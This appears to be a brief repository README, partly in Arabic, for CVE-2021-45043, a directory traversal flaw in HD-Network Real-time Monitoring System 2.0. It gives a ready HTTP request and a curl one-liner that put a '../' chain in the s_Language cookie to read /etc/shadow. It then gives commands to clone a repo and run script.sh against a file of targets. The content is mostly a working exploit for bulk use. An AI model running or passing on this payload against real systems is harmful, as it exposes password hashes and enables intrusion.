crypt0g30rgy/cve-2021-45043يسمح نظام المراقبة الفورية لشبكة HD-Network الإصدار 2.0 باجتياز الدليل ../ لقراءة /etc/shadow عبر معامل s_Language في /language/lang.
يتيح نظام المراقبة اللحظية HD-Network الإصدار 2.0 اجتياز الدليل باستخدام ../ لقراءة /etc/shadow عبر المعامل s_Language في /language/lang.
https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f
GET /language/lang HTTP/1.1 Host: IP.target Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow
curl -k -s -H "Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow" -X GET http://IP.target/language/lang
git clone https://github.com/g30rgyth3d4rk/cve-2021-45043.git
cd cve-2021-45043/
chmod +x script.sh
./script.sh targets.txt
